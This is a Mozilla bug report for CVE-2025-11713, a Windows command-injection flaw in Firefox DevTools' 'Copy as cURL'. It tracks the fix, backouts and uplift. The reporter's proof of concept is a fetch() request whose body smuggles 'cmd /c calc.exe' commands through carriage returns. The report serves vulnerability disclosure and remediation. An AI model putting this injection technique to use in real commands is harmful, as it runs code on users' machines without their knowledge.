1986142 - (CVE-2025-11713) Potential local code execution in “Copy as cURL” command

Status: RESOLVED FIXED

(DevTools :: Netmonitor, defect, P2)

Description

[Hafiizh]

Attachment: bandicam 2025-08-30 16-25-36-093.mp4

the vulnerability like :
https://bugzilla.mozilla.org/show_bug.cgi?id=1962301

Steps to reproduce the problem

1. Copy and run the payload in console :
   fetch("https://example.com/postit", { "credentials": "omit", "headers": { "Accept-Language": "en-US", "Content-Type": "text/plain", }, "body": "query=evil\n\ncmd /c calc1.exe\t\r\t calc2.exe \t calc3.exe \rcalc.exe\rcalc.exe\r calc7.exe \rt\r\t calc2.exe \t calc3.exe \r", "method": "POST", });
2. Copy the request with copy as curl (windows)
3. Paste on the windows cmd you can see calc triggers

Firefox: Nightly 144.0a1 (2025-08-29) (64-bit)
OS: WIndows 11

Comment 1

[BugBot [:suhaib / :marco]]

The severity field is not set for this bug.
:bomsy, could you have a look please?

For more information, please visit BugBot documentation.

Comment 2

[Hubert Boma Manilla (:bomsy)]

This looks like a duplicate of Bug 1987656

Comment 3

[Hafiizh]

hi i reported my bug id comes first (https://bugzilla.mozilla.org/show_bug.cgi?id=1986142) than https://bugzilla.mozilla.org/show_bug.cgi?id=1987656

Comment 4

[Hafiizh]

The bug https://bugzilla.mozilla.org/show_bug.cgi?id=1987656 should be a duplicate of my bug because my bug has a smaller id (https://bugzilla.mozilla.org/show_bug.cgi?id=1986142)

Comment 6

[Hubert Boma Manilla (:bomsy)]

Attachment: (secure)

While reverting all the work related to cross platform escaping of curl (See Bug 1976589), i tried to cleanup the
escaping of new line characters, but introduced carriage returns (\r).

This patch reverts back to the original fix from Bug 1968414

Comment 7

[Pulsebot]

Pushed by [e-mail]:
https://github.com/mozilla-firefox/firefox/commit/b7fce3e36d02
https://hg.mozilla.org/integration/autoland/rev/b56d2212c3f0
[devtools] Properly escape all new lines characters (make sure no carraige returns) r=devtools-reviewers,ochameau

Comment 8

[Pulsebot]

Pushed by [e-mail]:
https://github.com/mozilla-firefox/firefox/commit/fb9f9701a758
https://hg.mozilla.org/integration/autoland/rev/57ac1689ebf4
Revert "Bug 1986142 - [devtools] Properly escape all new lines characters (make sure no carraige returns) r=devtools-reviewers,ochameau" for causing xpc failures @test_curl.js.

Comment 9

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Backed out for causing xpc failures @test_curl.js.

• Backout link
• Push with failures
• Failure Log

Comment 10

[Hubert Boma Manilla (:bomsy)]

Fixed the issue.

Comment 11

[Pulsebot]

Pushed by [e-mail]:
https://github.com/mozilla-firefox/firefox/commit/945a5e8dd775
https://hg.mozilla.org/integration/autoland/rev/bd9bf1190718
[devtools] Properly escape all new lines characters (make sure no carraige returns) r=devtools-reviewers,ochameau

Comment 12

[Pulsebot]

Pushed by [e-mail]:
https://github.com/mozilla-firefox/firefox/commit/8552003d6c35
https://hg.mozilla.org/integration/autoland/rev/4c2643803732
Revert "Bug 1986142 - [devtools] Properly escape all new lines characters (make sure no carraige returns) r=devtools-reviewers,ochameau" for causing xpcshell failures on test_curl.js

Comment 13

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Backed out for causing xpcshell failures on test_curl.js:

• Push with failures
• Failure log

TEST-UNEXPECTED-FAIL | devtools/client/shared/test/xpcshell/test_curl.js | - proper multipart data present in curl output - "--data-binary ^\n ^\"------------14808^\n\nContent-Disposition: form-data; name=^\\^\"field_one^\\^\"^\n\n^\n\nvalue_one^\n\n------------14808^\n\nContent-Disposition: form-data; name=^\\^\"field_two^\\^\"^\n\n^\n\nvalue two^\n\n------------14808--^\n\n^\"" == "--data-binary ^\n ^\"------------14808\\r\\nContent-Disposition: form-data; name=^\\^\"field_one^\\^\"\\r\\n\\r\\nvalue_one\\r\\n------------14808\\r\\nContent-Disposition: form-data; name=^\\^\"field_two^\\^\"\\r\\n\\r\\nvalue two\\r\\n------------14808--\\r\\n^\""

Comment 14

[Pulsebot]

Pushed by [e-mail]:
https://github.com/mozilla-firefox/firefox/commit/5210ffad6e20
https://hg.mozilla.org/integration/autoland/rev/39b818c6d66d
[devtools] Properly escape all new lines characters (make sure no carraige returns) r=devtools-reviewers,ochameau

Comment 15

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/mozilla-central/rev/39b818c6d66d

Comment 16

[Hafiizh]

if this bug gets a cve can the credit be given to:
hafiizh (https://www.linkedin.com/in/hafiizh-7aa6bb31) & kang ali (https://www.linkedin.com/in/mohammad-ali-syarief)?

Comment 17

[Tom Ritter [:tjr]]

Yes

Comment 19

[Ryan VanderMeulen [:RyanVM]]

Please nominate this for Beta & ESR140 uplift.

Comment 21

[Phabricator Automation]

firefox-beta Uplift Approval Request

• User impact if declined: Can potentially compromise user machine if user runs certain curl commands.
• Code covered by automated testing: yes
• Fix verified in Nightly: yes
• Needs manual QE test: no
• Steps to reproduce for manual QE testing:
• Risk associated with taking this patch: low
• Explanation of risk level: Small JavaScript change to escape curl properly for Windows
• String changes made/needed: None
• Is Android affected?: no

Comment 22

[Hubert Boma Manilla (:bomsy)]

Attachment: (secure)

While reverting all the work related to cross platform escaping of curl (See Bug 1976589), i tried to cleanup the
escaping of new line characters, but introduced carriage returns (\r).

This patch reverts back to the original fix from Bug 1968414

Original Revision: https://phabricator.services.mozilla.com/D265397

Comment 23

[Phabricator Automation]

firefox-esr140 Uplift Approval Request

• User impact if declined: Can potentially compromise user machine if user runs certain curl commands.
• Code covered by automated testing: yes
• Fix verified in Nightly: yes
• Needs manual QE test: no
• Steps to reproduce for manual QE testing:
• Risk associated with taking this patch: low
• Explanation of risk level: Small JavaScript change to escape curl properly for Windows
• String changes made/needed: None
• Is Android affected?: no

Comment 24

[Hubert Boma Manilla (:bomsy)]

Attachment: (secure)

While reverting all the work related to cross platform escaping of curl (See Bug 1976589), i tried to cleanup the
escaping of new line characters, but introduced carriage returns (\r).

This patch reverts back to the original fix from Bug 1968414

Original Revision: https://phabricator.services.mozilla.com/D265397

Comment 25

[Pulsebot]

https://github.com/mozilla-firefox/firefox/commit/8ef71b353144
https://hg.mozilla.org/releases/mozilla-beta/rev/55bd9b6039c1

Comment 26

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-esr140/rev/4090254d7d1b

Comment 27

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-esr140/rev/e42e14b3cd74

Comment 28

[Pulsebot]

https://github.com/mozilla-firefox/firefox/commit/a355ba286aa5
https://hg.mozilla.org/releases/mozilla-beta/rev/657c956ade3f

Comment 29

[Daniel Veditz [:dveditz]]

Attachment: advisory.txt

Comment 30

[Hafiizh]

if this bug gets a cve can the credit be given to:
hafiizh (https://www.linkedin.com/in/hafiizh-7aa6bb31) & kang ali (https://www.linkedin.com/in/mohammad-ali-syarief)?

Comment 31

[Hafiizh]

As per comment #17 https://bugzilla.mozilla.org/show_bug.cgi?id=1986142#c17

Comment 32

[Tom Ritter [:tjr]]

Yes, I will update momentarily.